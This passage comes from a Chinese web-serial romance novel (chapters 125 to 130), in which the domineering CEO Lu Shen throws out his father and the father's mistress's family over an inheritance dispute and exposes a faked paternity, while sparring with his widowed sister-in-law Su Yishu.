折腾了一个下午,全江城叫得出名字的媒体,一听到是关于陆慎的消息,一个个避如蛇蝎。
“陆先生,您还是走吧,关于陆总的稿子,江城没人敢接。”一家杂志社的主编直接把他们撵了出来。
陆子民站在夕阳下,气得浑身发抖。
陆辰眼里闪过一丝阴狠,他这次回来,就是冲着陆家来的。
他陆辰,身体里流的也是陆家的血,凭什么不能继承陆家的财产?凭什么不能被陆家认可?
“爸,既然国内媒体不接,咱们不如找外援。您在公司毕竟待过吧,公司也有人认识您,咱们可以去公司闹,到时候,我就不信他们能坐得住!”
陆子民冷笑一声,阴鸷地看向远方。
陆家老宅。
陆子勋父子见风头不对,早就寻了借口溜之大吉,程丽梅也因为受了刺激,回房吃药歇下了。
至于陆子谦,在陆子勋之前就离开了。在他看来,事不关己高高挂起,这种事,还是别掺和的好。
原本热闹的大厅,此时静得只能听到古董座钟走动的声音。
陆慎依旧坐在主位上,身体陷在阴影里,周身的戾气虽然收敛了不少,但那股压抑的气息仍旧骇人。
苏亦姝坐在一旁的单人沙发上,手里拿着一颗晶莹剔透的葡萄,不紧不慢地剥着皮。
她本来张了张嘴,想礼貌性地问候两句,但目光触及陆慎那张冷漠的脸,又默默把话咽了回去。
安慰?对于陆慎这种习惯了铁腕手段、连亲爹都能随手踢出族谱的人来说,安慰大概是最廉价且没用的东西。
她索性放松身体,从果盘里捡了几样顺眼的水果吃着,另一只手划拉着手机,正在看温书发来的新品数据。
“好吃吗?”
男人的嗓音突然响起,在安静的大厅里显得格外突兀,带着几分咬牙切齿的意味。
苏亦姝动作一顿,抬起头,正对上陆慎那双深不见底的黑眸。
他此时正盯着她手里那半截葡萄,眼神冷厉中带着几分幽怨。
这个没良心的女人。
“还行,挺甜的。”苏亦姝公事公办地评价了一句,随后像是反应过来什么,将果盘往他那边推了推,“陆总也来点?败败火。”
陆慎被她气笑了,他长腿一叠,微微挑眉,目光灼灼地盯着她。
“苏亦姝,我亲老子带着野种上门逼宫,我当众背了个‘忤逆不孝’的骂名,你就没点表示?”
苏亦姝放下手机,神色坦然,“你要什么表示?是需要我帮你去门口骂阵,还是帮你写一份声讨陆子民的战斗檄文?”
“你……”
陆慎被她这副置身事外的态度气得胸口疼。
他原本以为,看到刚才那种场面,这女人至少会流露出一丝心疼,哪怕只是假模假式地问一句“你还好吗”。
谁知道她倒好,在这儿水果配手机,过得比谁都自在。
苏亦姝拍了拍双手,站起身走到他面前。
微微弯腰,清冷的香气顺势钻进男人的鼻息。
“陆慎,你自己也说了,陆家现在是你做主。既然你都已经利索地清理了门户,又何必在意别人怎么看?如果你真的觉得不痛快……那就找点痛快点的事情做。”
陆慎眼眸微眯,猛地伸手扣住她的腰,将她整个人带进怀里。
“苏亦姝,你还真是没心没肺。”
陆慎嗓音低沉,鼻尖抵着她的颈侧,贪婪地嗅着那股清冷的气息。
“不过你说得对,既然不痛快,那就找点痛快的事情去做,所以……我想要你……”
苏亦姝被他箍得生疼,忍不住伸手推了推他的胸膛,嗓音还有些沙哑。
“陆总,老宅到处是监控和佣人,你确定要在这儿发疯?”
陆慎看着苏亦姝那玩味的眼神,心里直痒痒。这个女人,就是故意的。
虽然他知道,
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若是自己强硬的在这做点什么,老宅没人敢说。但是,他不想,因为他不想那些人,看轻苏亦姝。
陆慎的眸色暗了暗,扣在苏亦姝腰上的力道松了几分,却没放人,只是将额头抵在她的肩窝处,闷声低笑了两声。
“苏亦姝,你也就仗着我现在舍不得让你难堪。”
他直起腰,眼底的情欲被强行压了下去,恢复了平日里那副拒人于千里之外的冷峻。
他伸手替苏亦姝理了理略显凌乱的发丝,动作难得透着几分温柔,可说出来的话却依旧嚣张。
“老宅这些腌臜事儿,看多了确实坏胃口。”
苏亦姝顺势站直了身体,理了理长裙的下摆。
“陆子民今天既然敢回来,肯定还留了后手。你就这么把人扔出去,真不怕他明天带人去擎天楼下闹?”
“他敢去,我就敢让他这辈子都站不起来。”
陆慎嗤笑一声,起身抓起搁在一旁的西装外套。
“至于后手,在绝对的实力面前,他那些上不得台面的招数,就是跳梁小丑。”
“陆总这么自信,倒显得我多操心了。”苏亦姝其实并未真的担心,只是顺口这么一说而已。
陆家的事,说白了跟她无关,她在意的,目前只有自己。自己能不能全身而退。
陆慎侧头看了她一眼,目光幽深,“你确实该多操心操心。操心怎么才能多疼疼我这个众叛亲离的男人,而不是在那儿剥葡萄。”
两人出了大厅,陆慎没让司机跟着,亲自开车带苏亦姝去了擎天旗下的私立医院。
老爷子被气得不轻,虽然脱离了危险,但还在监护室观察。
陆慎站在监护室外的玻璃窗前,看着里面带着氧气罩的老人,语气没什么起伏,“老爷子虽然年纪大了,但威力还在。只要他在一天,陆子民名义上就还是陆家的人,毕竟,是他亲儿子。”
苏亦姝看着病床上苍老的老人,又看了看身边这个心思深不可测的男人,微微蹙眉。
“如果老爷子醒来后,选了他大儿子呢?”苏亦姝侧过身看向他。
陆慎缓缓转过头,嘴角噙着一抹冷冽的弧度。
“那老爷子,还可以继续昏睡着休养身体。”
苏亦姝心头微微一凛。
这才是真正的陆慎,狠戾、果决,且不留余地。
第一百二十六章 去公司闹,狼狈
第二天一早,擎天集团大厦。
一楼大厅正是上班高峰期,人来人往。
原本众人都是步履匆匆赶着早八,却被几个人的声音给引过去。
“我再说一遍,我是陆子民!陆慎的亲老子!你们这些没眼力见的东西,敢拦我?”
陆子民一脸愤怒地指着前台小姑娘的鼻子,唾沫星子乱飞。
他今天特意穿了一身压箱底的行头,自以为派头十足,可那副气急败坏的嘴脸,怎么看都透着股外强中干的颓丧。
素琴在旁边轻声细语地劝着,手却一直抹着眼泪,引得周围进出的员工纷纷侧目。
“子民,你别怪她们,她们也是按规矩办事……只是可怜了咱们孩子,想回自家公司看看,还得受这种闲气。”
陆瑶更是配合地抽噎了两声,陆辰则是一脸愤慨,对着围观的人群大声嚷嚷:“还有没有天理了?这是陆家的公司,我们来自家公司还被拦着?谁给你们的胆子?”
几个前台小姑娘急得满脸通红,虽然陆子民消失很久了,但陆家那点豪门恩怨谁没听过?
一时间拦也不是,不拦也不是,场面一度陷入僵持。
就在这时,电梯门“叮”的一声打开,行政部的副经理马建快步过来了。
马建隔着老远就堆起了笑脸,夸张地挥着手。
“哎哟,这不是陆先生吗?这前台是新来的,不认识您,您千万别跟这些小姑娘计较。”
陆子民冷哼一声,拍了拍袖口不存在的灰,神色倨傲,“马经理,好久不见,还是你懂事。不像某些人,当了总裁就忘了祖宗。”
“那是那是,您可是老陆总。”马建一边点头哈腰,一边意有所指地看向周围的员工,拔高了音量,“走,老陆总,我这就带您上去。刘董要是知道您回来了,肯定高兴。”
在马建的带领下,四个人浩浩荡荡地进了高层电梯。
陆子民一身名牌西装,虽两鬓斑白,却刻意挺直了腰杆,摆出一副视察工作的领导做派。
一路上陆子民都在显摆,指着大厅里的装饰点评江山。
素琴挽着他的胳膊,一身素雅旗袍,妆容精致,身后跟着陆辰和陆瑶。
一路上,陆子民逢人便点头致意,仿佛他才是擎天的董事长。
陆辰更是挺胸抬头,目光贪婪地扫视着这座代表着权势与金钱的大厦,仿佛这一切已经是他的囊中之物。
顶层,总裁办。
“砰”的一声,厚重的大门被陆子民毫不客气地推开。
办公桌后的陆慎正在批阅文件,连眼皮都没抬一下,手中的钢笔在纸上划出沙沙的声响,没有理会。
这种无视,让陆子民积攒了一路的威风瞬间像打在棉花上,憋屈得脸红脖子粗。
陆子民几步冲到办公桌前,一脸怒意,“陆慎,我是你老子!你就是这么对我的?”
素琴赶紧跟上来,柔柔弱弱地拉扯陆子民的衣袖,“子民,你别这样,阿慎在工作呢,咱们好好说……”
“说什么说!”陆子民一把甩开她,指着陆慎的鼻子,“他要是眼里有我这个爹,昨晚能把我赶出老宅?能把我从族谱除名?我告诉你陆慎,这擎天集团有我的一半心血,你也是我生的,你想独吞?门都没有!”
陆慎终于停下了笔。
他缓缓抬起头,身子向后靠在椅背上,目光冷淡地扫过面前这几张贪婪的脸,嘴角勾起一抹讥讽。
“一半心血?你指的是当年挪用**去澳门**,差点让公司资金链断裂?还是指你在外面包养情妇,被竞争对手抓着把柄要挟公司让利?”
陆子民脸色瞬间涨成猪肝色,“你……你胡说八道!那是过去的事!无论如何,没有我就没有你!”
陆慎语气平静地说道:“所以我留了你一条命,还让你在国外挥霍了这么多年。”
一直在后面观望的陆辰忍不住了,他上前一步,努力模仿着陆慎的气场,却显得画虎不成反类犬。
“三哥,咱们都是一家人,何必说得这么难听?爸这次回来,也就是想让我们认祖归宗。我也学过管理,既然是一家人,我想进公司帮帮你,哪怕是从副总做起也行啊。”
陆慎像是听到了什么天大的笑话,眼底全是轻蔑,“副总?你也配?”
陆辰脸上的伪装挂不住了,气急败坏。
“你怎么说话的呢?我身上也流着陆家的血!我也是陆家继承人之一!你要是不答应,我们就赖在这儿不走了!我就不信,这公司上下看着亲爹和弟弟妹妹在办公室里受**,你这个总裁的位置还能坐得稳!”
素琴也立马拿出帕子抹眼泪,声音凄切:“阿慎啊,我知道你恨我,可孩子是无辜的啊……他们都是你的亲弟弟妹妹。而且,你这样,就不怕别人说你?”
陆慎站起身,高大的身形瞬间在大片落地窗前投下一片阴影,压迫感十足。
“在江城,谁敢说我?陆子民,你是觉得有刘承那个老东西给你撑腰,我就动不了你?”
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>陆子民心头一跳,被陆慎眼里的狠厉吓退了半步,但一想到刘承的承诺,又梗着脖子吼道:“你少拿刘董说事!我告诉你,今天你要是不给我们一个说法,不给陆辰和陆瑶安排职位,不把我的名字加回族谱,我就……”
陆子民的话还没说完,陆慎已经从办公桌后慢条斯理地走了出来。
他每走一步,陆子民那叫嚣的声音就越来越弱。
“你就如何?去媒体面前哭诉,还是去拉横幅?”
陆慎站在陆子民面前,整整高出他半个头。他微微低头,眼神里没有愤怒,却让陆子民莫名的胆怯,浑身止不住的颤抖。
“刘承敢让人把你领进来,是因为他手里的股份已经缩水到了不得不找替死鬼的地步。而你,陆子民,你以为你是回来拿职位的?你只是他用来恶心我的一块抹布,用完就会被扔进臭水沟里。”
“你少在这里挑拨离间!”陆子民色厉内荏地吼着,脚下却不由自主地往素琴身后缩。
陆慎没耐心再听他废话,直接按下了桌上的内线电话,声音冷得不带一丝温度。
“保安部,带人上来。另外,通知法务部,准备起诉马建滥用职权,带无关人员擅闯总裁办,立刻开除,走法律程序。”
“陆慎!你疯了?马建可是公司老人!”陆子民惊呆了,他没想到陆慎连刘承的面子都半点不给,一出手就直接开除马建。
素琴见状,拉着陆辰和陆瑶作势就要往地上下跪,哭得梨花带雨。
“阿慎,求求你,你要是有气冲着我来,别为难你爸爸,瑶瑶和阿辰真的是想帮你……”
“想跪?出去跪。”
陆慎侧过身,连余光都没施舍给那母子三人。
此时,十几个身形魁梧的黑衣保安已经鱼贯而入。
陆慎指了指门口,语气森然:
“把这四个人扔出去。从今天起,陆子民及其家属与畜生同等待遇,严禁进入擎天集团旗下任何产业。谁再把他们放进来,谁就直接卷铺盖走人。”
“陆慎!你这个畜生!我是你亲老子!”陆子民被两名保安架住胳膊往外拖,气得浑身发抖,双脚在地上乱蹬。
陆辰和陆瑶还没反应过来,就被保安像拎小鸡一样拎了起来。
素琴的旗袍在挣扎中乱成一团,那副柔弱的假面具终于维持不住,整个人狼狈不堪。
办公区的所有员工都缩在工位上,大气不敢喘,眼睁睁看着这出豪门闹剧以这种惨烈的方式收场。
第一百二十七章 想方设法
苏亦姝站在走廊尽头的拐角处,手里端着一杯刚磨好的咖啡。
她并没有走进办公室,只是隔着落地玻璃,冷淡地看着陆子民四个人像垃圾一样被扔出去。
她太了解陆慎了。
这个男人的温柔仅限于他划定的圈子,而对于冒犯他底线的人,他从来不留情,更别讲所谓的“血缘情面”。
陆慎转过头,正好对上苏亦姝那双通透的眸子。
他眼底的戾气散了些许,抬手扯了扯领带,长腿几步迈到了她跟前,顺手夺过她手里的咖啡抿了一口。
“看戏看够了?”
苏亦姝挑眉,嗓音清冷,“陆总这手段,确实比‘声讨檄文’痛快得多。不过,刘承那边怕是不会善罢甘休。”
陆慎将空咖啡杯塞回她手里,指尖若有若无地擦过她的掌心,嗓音低沉,“他蹦跶不了几天,一些跳梁小丑而已。”
说完,陆慎目光灼灼地看着苏亦姝,眼底的情愫,让苏亦姝有些招架不住。
她连忙避开他灼热的视线,转身往自己的办公室走去。
“陆总还是先想好怎么应付董事会吧,毕竟‘欺辱亲爹’这种头条新闻,估计刘承已经买好了。”
陆慎看着她窈窕的背影,眼底闪过一抹志在必得的笑意。
哪怕全世界都说他疯了,只要这个女人还在他身边,那这游戏,他就有的是心思玩下去。
擎天集团大厦门口,保安面无表情地守在旋转门两侧。
陆子民四个人被推搡出来时,正好撞上一波外出办事的员工。
众人指指点点,窃窃私语声落入陆子民的耳里,陆子民气得老脸通红。
“陆慎!你这个畜生!你不得好死!”
陆子民站在马路上,一边整理被扯歪的西装,一边对着大厦跳脚大骂。
他此刻哪还有半点当年陆家大少的温润矜贵?扭曲的五官配合着粗鄙的咒骂,活像个在菜市场撒泼的无赖。
素琴掩面低泣,单薄的肩膀一抖一抖的,看上去受尽了**。
陆瑶则躲在母亲身后,既愤怒,又感觉脸面尽失,恨不得找个地缝钻进去。
唯独陆辰,他死死盯着擎天大厦顶端那烫金的Logo,眼底的阴鸷越发浓厚。
“行了,爸,别在这儿丢人现眼了。”陆辰冷声打断了陆子民的叫嚣。
陆子民猛地转头,火气还没撒完:“连你也嫌老子丢人?要不是为了带你们回来,我至于受那个逆子窝囊气?”
陆辰走上前,压低声音道,“发火解决不了任何问题。陆慎现在把持着公司,连陆家族谱都能动手脚,可见他在江城已经只手遮天了。想拿回属于我们的东西,硬碰硬不行,得找个能压住他的人。”
陆子民抹了一把额头的冷汗,颓然地叹了口气,
“压住他?也就老爷子了。老爷子都被我气进医院了,现在估计恨不得亲手掐死我,怎么可能帮我?”
“不,爷爷一定会帮你。”
陆辰眼中闪过一抹算计,声音压得极低。
“爸,你是他亲儿子,陆家讲究亲情血脉。你只要去医院跪在病床前卖惨,说你在国外这些年过得有多凄惨,说你知错了。再带上我们这两个孙子孙女……老人家心软,尤其是人在病中,最见不得血脉流落在外受苦。”
陆子民皱眉,有些犹豫:“这能行吗?”
“试试总比在这里当乞丐强。”
陆辰看向素琴,语气冷静,“妈,待会儿到了医院,你的戏得足一点。要让爷爷觉得,是我们陆家亏欠了你们母子三人,而不是你们来抢家产的。”
素琴立刻收了哭声,理了理鬓边的碎发,眼底恢复了那股子柔弱却坚韧的精明。
“我明白。”
半小时后,四个人打车赶到了第一医院。
监护室外,保镖看守。
陆子民想要进去,却被拦在外面。不管他怎么威胁怎么呵斥,保镖就是不让。
这叫他气得直跺脚,最后陆子民深吸一口气,在靠近病房门口时,突然腿一软,整个人“噗通”一声跪在了走廊。
“爸——!逆子来看您了!爸啊——!”
这一声哀嚎,凄厉得传遍了整个走廊。
素琴也跟着跪了下去,陆辰和陆瑶对视一眼,顺从地跪在陆子民身后。
“爸,我真的知道错了。这些年我在外面没脸回来,受尽了白眼,可我心里挂念的都是您啊……”陆子民一边爬一边哭,老泪纵横,“陆慎要把我赶尽杀绝,我也
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就认了,可瑶瑶和阿辰这两孩子,他们是您的亲孙儿啊,您不能眼睁睁地看着陆慎要对他们赶尽杀绝啊……”
病房门内,原本还在昏睡的老爷子被这动静吵醒。
他隔着氧气罩,浑浊的眼珠费力地转向门口,呼吸声逐渐变得急促而粗重。
一直在里面的管家福伯,见状立即脸色一变。
打开门,陆子民等人还在哭泣着。看到门打开了,脸色一喜。
刚要进去,就被福伯拦住了。
“福伯,你干什么??是不是我爸要见我们了?”陆子民伸长了脖子朝里面看着。
福伯一脸愤怒,“你这是,要气死老爷子啊。”
说完,看向旁边的保镖,说道:“赶紧叫医生来。”
不多时,医护人员匆匆赶来,众人神色紧张且严肃,叫陆子明看的有些不安。
陆子民朝着陆辰看去,紧张地问道:“阿辰,现在怎么办?要是老爷子因为我而有个什么事情,陆家人会弄死我们的……”
其实,陆辰也有些慌。
但是他还是说道:“爸,您别慌,别着急,我看不见得是坏事,搞不好,是爷爷听到了你的声音,这才有了反应。咱们再等等,搞不好待会爷爷醒了就会让我们进去,到时候,我们就有希望了。”
这话,并未让陆子民宽心,反而眉头紧蹙。
倒是一旁的素琴,看了眼自己儿子,而后拉着陆子民的胳膊,说道:“子民,阿辰说的对,咱们等等就是了。毕竟,咱们也没其他的办法了,不是吗?难不成,你打算就这样放弃了??让阿辰和瑶瑶跟着我们两个后面遭罪?”
“不可能,阿辰和瑶瑶是我的孩子,我怎么可能会看着他们受罪。你们说的对,我们在这等着就是了。”
四个人站在门口,眼睛一直盯着病房里面。
就在这个时候,一阵脚步声传来。
陆慎,苏亦姝,还有陆彦和陆域四个人过来了。
陆子民慌了,立即说道:“我不知道怎么回事,我们都还没进去呢。”
陆辰也跟着说道:“三哥,这件事不怪爸爸……”
“砰!”陆慎抬脚,一脚踹在了陆辰的胸口,陆辰当场飞了出去,撞在了走廊的墙上。
第一百二十八章 养别人儿子的废物
陆辰重重地撞在墙上,发出一声闷响,随即倒在地上,捂着胸口剧烈咳嗽,整张脸疼得扭曲起来。
“阿辰!”
“哥!”
素琴和陆瑶发出一声尖锐的惊叫,第一时间扑了过去。
素琴死死抱着陆辰,看着自己儿子惨白的脸色,她猛地转头看向陆慎,眼底满是惊恐与愤怒。
“陆慎!他是你弟弟啊!你怎么能下这么狠的手?你这是要在众目睽睽之下**吗?你怎么能这么残忍!”
“陆慎!你这个疯子!你到底要干什么!”陆子民见状大声地怒骂,可嗓音里那股子颤抖出卖了他内心的惊恐。
陆慎浑身散发着戾气,双眼更是毫不掩饰的带着杀意。
他没理会素琴的哭嚎,而是一步步朝着陆子民走去。
陆子民看着陆慎朝自己走来,被他眼底的猩红给吓到了,不由地往后推去。
脚下一拌,后背撞在了走廊的墙壁上,退无可退。
“你……你别过来!我是你亲爹!你敢动老子试试!”陆子民声嘶力竭地喊着,眼睛却不敢直视陆慎。
陆慎在他面前停下,修长的手指不紧不慢地整理了一下衣袖,嘴角噙着一抹让人不寒而栗的冷笑。
“你该庆幸,你是我亲爹。否则,我早就送你去见阎王了。”
陆子民喉结艰难地滑动了一下,还没来得及松口气,就听陆慎再次开口。
“但是,你带回来的那个杂种,恐怕就没你这么好的运气了。”
“你想干什么?陆慎你别乱来!”陆子民吓得浑身一抖。不管如何,陆辰都是他的亲儿子,绝对不能眼睁睁的看着他出事。
此时,阿信已经带着几个身材魁梧的保镖快步走入走廊。
陆慎头也不回地打了个手势,阿信二话不说,上前粗暴地拉开了素琴和陆瑶。
“别碰我儿子!救命啊!”素琴发了疯似的去抓挠保镖的手臂,却被一把甩开,跌坐在地上。
陆瑶缩在角落里,看着这阵仗,吓得连哭声都掐断了,眼神里满是恐惧,身体下意识地往后躲,生怕那拳脚落在自己身上。
阿信像拎小鸡一样把陆辰从地上拽了起来,陆辰眼底全是惊恐,大声求救。
“爸!救我!妈!救救我!”
“子民!你说话啊!你救救阿辰啊!”素琴尖声咆哮,狼狈地爬过去,扯陆子民的裤脚。
陆子民看着陆辰被拖走的方向,张了张嘴,刚要开口,就撞上了陆慎那双杀气腾腾的眼睛。
那眼神,让陆子民打了个寒颤,原本到了嘴边的呵斥硬生生给吞了回去,他怂了。缩着肩膀,只能眼睁睁看着陆辰被拖向走廊尽头,一句话都没敢吭。
这一幕,看得陆彦和陆域眼皮直跳。
两人对视一眼,皆从对方眼中看到了对陆慎手段的忌惮。
这种毫无顾忌的暴力碾压,哪怕是在陆家内部的那些内斗中,也极少见手段这么粗暴又直白。
苏亦姝静静地站在几步之外,目光在瑟瑟发抖的陆子民和崩溃的素琴身上转了一圈,最后落在陆慎那冷硬的背影上。
她依旧保持着沉默,神色清冷得像个局外人。
就在走廊里的气氛紧绷时,病房的门缓缓打开。
管家福伯走了出来,他看着这一地狼藉,眉头紧锁,最后看向陆慎,恭敬地低下头。
“三少爷,老爷子醒了,让您进去。”
陆子民一听,像是抓到了救命稻草,猛地站直了身子就要往里冲。。
“爸!爸!我要见爸!陆慎要杀阿辰,爸,您来评评理啊!”
福伯侧过身,把陆子民拦在门口,眼神锋锐且冷漠。
“老爷子只让三少爷一个人进去。”
“凭什么?我是他大儿子!他亲儿子!”陆子民歇斯底里地咆哮。
福伯没理会他的跳脚,只是对着陆慎做了个请的手势。
陆慎冷冷地扫了陆子民一眼,跳梁小丑而已。
他收起了一身的戾气,转身,头也不回地走进了病房。
病房内,老爷子靠在病床上。
虽然醒了,但整个人透着股大限将至的颓败,呼吸声在安静的房间里显得格外沉重。
陆慎走过去,拉过旁边的椅子坐下。
一老一少就这么对视着,空气中弥漫着压抑的沉默。
老爷子颤巍巍地叹了口气,率先打破了这寂静的气氛。
“你爸爸他……终究是……”
“他不是陆家人,是畜生。”陆慎冷声打断,语气平铺直叙,不掺杂一丝情绪。
老爷子喉咙里发出一声哽咽,想反驳,可看着陆慎那冷漠的神色,终究把准备说的话给咽了回去。
他闭了闭眼,声音沙哑,“那陆辰……他到底是你的亲弟弟……”
“亲弟弟?”
陆慎像是听到了什么天大的笑话,发出一声短促的嗤笑。
他从西装内兜里掏出一张折叠得整齐的纸,缓步上前,将纸面正对着老爷子的眼睛。
“看清楚了。亲子鉴定,是我让人拿了陆辰和陆子民的头发去做的DNA,热乎的,刚出来的鉴定。陆辰根本就不是陆子民的儿子,那个女人,倒是把陆子民那个蠢货骗得团团转,替别人养了二十来年的野种,还当成宝贝一样带回来认祖归宗。”
老爷子浑浊的瞳孔猛地一缩,盯着那张鉴定报告,胸口剧烈起伏,嗓子里发出“嗬嗬”的声音,随即猛的咳嗽起来。
陆慎面无表情地站在床边,冷眼看着医护人员进来紧急处理。
对于老爷子的反应,他在心里早就料到了。但是,那又如何?真相难不成因为老爷子的身体就这么遮掩着?
抱歉,他做不到!
等老爷子这口气终于顺过来了
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,整个人瘫在枕头上,艰难地抬起手,摆了摆,声音微弱得几乎听不见。
“陆家……已经是你做主了。你看着办就好。”
说完,他像是耗尽了所有的力气,疲惫地闭上了眼睛。
而此时的病房外,叫嚣声依旧没停。
陆子民见进不去,也无可奈何,站在门口骂骂咧咧了一阵子。
看见不远处的苏亦姝一副事不关己、慢条斯理看戏的模样。
他心头的恶气瞬间找到了出口。
陆慎他不敢惹,但是这个女人,他还不放在眼里。
关于苏亦姝,他是知道的。上次在老宅就见过一次,也听马建说起过。
苏亦姝是苏振东的女儿,嫁给他儿子陆钦,结婚当晚,他儿子就带着情人私奔,导致车祸身亡,而这个苏亦姝,则是留在了陆家。
哼,又是一个贪图他陆家权贵的女人,这样的女人,让他鄙夷,所以,他自认还是能拿捏的。
陆子民几步冲到苏亦姝面前,指着她的鼻子破口大骂。
“你是什么东西,也敢在这看我笑话?别以为我不知道你,看到我,你喊了吗?连最基本的礼仪都没有,真不知道当初程丽梅那个女人,怎么同意阿钦娶你的。”
“就你这种女人,真以为进了我陆家门就能飞上枝头变凤凰了?我告诉你,想都不要想。阿钦已经**,你还死皮赖脸地赖在我陆家做什么?马上给我滚!”
对于陆子民对苏亦姝的突然发难,让陆彦和陆域都愣了下。
两人第一时间朝着苏亦姝看去。
苏亦姝神色淡淡,并未因为陆子民的话而有什么多余的表情。
她掀起眼皮,那双通透得眼眸不紧不慢地扫向陆子民。
她冷嗤一声,嘴角勾起一抹讽刺。
“陆先生,脑子是个好东西,可惜你好像在国外弄丢了。”
“你敢这么跟我说话!”
“为什么不敢?你以为你是谁?你的名字已经从陆家的族谱除名了。再说了,陆家人个个精明,而你……啧啧,被一个女人骗了二十几年还自以为深情的蠢货。”
苏亦姝的目光扫过地上的素琴,语气犀利。
“与其在这儿跟我摆长辈的谱,不如想想怎么保住你那点可怜的尊严。”
“你……你这个没教养的**!”陆子民气疯了,抬起手就想扇过去。
苏亦姝站在原地动都没动,只是语调微扬,眼神冰冷。
“你这一巴掌要是落下来,我保证,你那只手绝对会废掉,你要试试吗?”
陆子民的手僵在半空中,看着苏亦姝那自信的模样,突然想到马建说的话。
陆慎是如何如**护这个寡嫂的,两人之间,关系非同寻常……
陆子民一张老脸涨成了猪肝色,那巴掌,也终究没有落下去……因为,他忌惮陆慎这个疯子!
第一百二十九章 陆子民崩溃
病房的门再次打开。
陆慎走了出来。看向陆彦和陆域。
说道:“你两进去陪陪老爷子吧”
陆彦和陆域立即进去了。
陆子民在看到陆慎出来后,立刻收回了僵在半空中的手,虽然心底胆杵陆慎,但为了儿子,他还是梗着脖子叫嚣。
“陆慎,你放了阿辰!阿辰是你亲弟弟,你这个疯子,你到底把人带哪去了?我告诉你,今天你要是不给我个交代,这事我就跟你没完!”
素琴也从地上爬起来,头发散乱,哭得撕心裂肺。
“三少爷,求求你,阿辰真的是无辜的。他一直把你当榜样,他跟你一样,身上流着陆家的血啊,你怎么能这样对待他……你这是要**亲弟弟,要遭报应的啊!”
陆慎停住脚步,侧过身,目光锋利地划过素琴那张哭得梨花带雨的脸,最后落在陆子民身上,唇角勾起一抹讽刺。
“亲弟弟?陆辰也配?”
陆子民气急败坏,“你住口!陆慎,你要发疯找别人我不管,但是阿辰,我不允许!”
陆慎没说话,只是对着一旁的周轩递了个眼色。
周轩立刻上前,将刚才在病房内给老爷子看的那份鉴定报告,直接递到了陆子民的面前。
陆慎嗓音低沉,带着一股玩味的嘲弄,“睁大你的狗眼看清楚。看看你疼了二十几年的‘命根子’,到底是谁的种。”
陆子民颤抖着手拿过来那张纸,当他看到结论那一栏写着“排除亲子关系”几个大字时,身体晃动了下,不可置信地瞪大了双眼。
“不可能……这不可能……这一定是假的!是你伪造的!”他疯狂地摇头,转头看向素琴,“素琴,你告诉他,这是假的!阿辰是我的孩子,对不对?”
素琴在看到那张纸的内容的瞬间,哭声戛然而止。
她原本就紧张的神色瞬间被这突如其来的恐惧所取代,眼神闪烁,甚至不敢正眼看陆子民。
“子民,你听我解释……这个鉴定,一定是陆慎找人做的手脚,他就是想赶我们走……”
她语无伦次地辩解着,可那副心虚的模样,让她说出来的话,没有任何可信的力度。
陆慎冷笑一声,朝着素琴看去,强大的压迫感让素琴瘫坐在地上。
“你真以为,你当年在国外让陆子民这个蠢货接盘的事,没人知道?那个男人还没死透呢,需要我把他请回来,跟你们当面叙旧吗?”
素琴的脸瞬间惨白,她张着嘴,却发不出半点声音,只能惊恐地看着陆慎。
这一刻她十分后悔,后悔怂恿陆子民回来。
若是不回来,那这一切,就都不会发生。
陆子民终于反应过来,他死死盯着素琴,双眼充满愤怒。
“你……你这个**!你骗了我二十几年?你拿我的钱,让我替别人养儿子,还让我为了他回国内跟陆家闹?”
陆子民气得全身发抖,他这辈子虽然混账,但自诩风流不羁,却没想过临老了,竟然成了江城最大的笑话。
陆子民猛地转头看向陆慎,声音嘶哑,“陆慎,阿辰呢?那个野种在哪儿?”
陆慎抬手看了一眼腕表,语气淡漠,“既然不是陆家的种,自然有他该去的地方。至于你……”
陆慎看向陆子民,眼底没有任何怜悯,只有嘲弄。
“带着你的野种和这个女人,马上滚出江城。再让我看到你们,我会让你们知道,这世界上有很多比死更痛苦的事。”
苏亦姝站在一旁,看着陆子民崩溃、素琴绝望的丑态,心底竟泛起一丝荒诞的冷意。
而陆瑶,始终躲在墙角。
陆辰不是陆家人,那她呢?陆瑶问着自己,自己是陆家的吗?
这一刻,她不敢出声,她害怕答案是自己最不想听到的那个……
陆慎瞥了眼墙角的陆瑶,而后转过身,手自然而然地搭在苏亦姝的肩膀上,动作霸道且亲昵。
“走吧,戏看完了,脏眼睛。”
车内。
陆慎靠在后座,神色阴沉,很显然心情不太好。
苏亦姝从上车后,一直看向窗外。
两人一路无话,车厢里的气压低得让人有些喘不过气。
陆慎终于侧过头,目光深沉地盯着苏亦姝那张淡漠的侧脸,片刻后,他喉咙里溢出一声自嘲般的轻笑。
“苏
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亦姝,你就没什么想对我说的?”
苏亦姝收回目光,对上他那双幽深的黑眸,语气平静。
“陆总想听什么?”
“比如,安慰安慰我。”
陆慎扯了扯领带,整个人透着股烦躁,眼底却藏着一丝不易察觉的期待。
苏亦姝认真地想了几秒,反问道:“安慰什么?”
陆慎被她这态度一噎,声音冷了几分:“我跟我亲爹刚吵完架,甚至算是彻底断了父子情分。按照正常的逻辑,你作为我的……身边人,不该说两句好听的?”
“哦。”苏亦姝应了一声,随后便没了下文。
“哦?”
陆慎直接被气笑了,他一把拉过来苏亦姝,将她抱在自己的腿上坐着,双手紧紧箍着她的腰,有些用力。
“苏亦姝,你这个女人,心真是石头做的吧?”
他咬牙切齿地盯着她,伸出一只手捏住她的下巴,逼迫她直视自己。
“你连个怜悯的眼神都不肯给我?”
苏亦姝没挣扎,任由他捏着,那双通透的眼眸里十分平淡。
“陆慎,怜悯是给弱者的。而你,是这场局里唯一的赢家。如果你想要那种廉价的安慰,刚才走廊里跪着的素琴应该很擅长,你可以找她。”
陆慎盯着她看了半晌,最后恨恨地松开手,让她重新坐回位子上。
他从兜里摸出烟盒,却没点火,只是在指尖转了一圈,“赢家?在这种烂摊子里赢,也没什么可光彩的。”
苏亦姝垂下眼睫,掩盖住眼底的一抹异样。
苏亦姝语气淡然,偏过头,再次看向窗外。
“任何事,我都不关心。我现在关心的只有明天的项目,陆总若是缓过劲了,记得把字签了。”
陆慎转头看着她,看着她那副没心没肺的样子,气极反笑。
咬着牙说道:“签,当然签。但我现在心情极度不好,这个字,得看苏小姐今晚的表现,我再考虑什么时候落笔。”
苏亦姝皱眉。
“陆慎,请把私人感情和工作区分开来。你不想挣钱,我还想……我现在最想的,就是多挣钱。”
然后,离开你……
第一百三十章 最后的分手礼
陆家的闹剧在鉴定报告出来的第三天,渐渐安静下来了。
陆子民消失了。
他变卖了身上所有能换钱的行头后,像人间蒸发一样消失在了江城。
二素琴和陆瑶,他都没有带走。
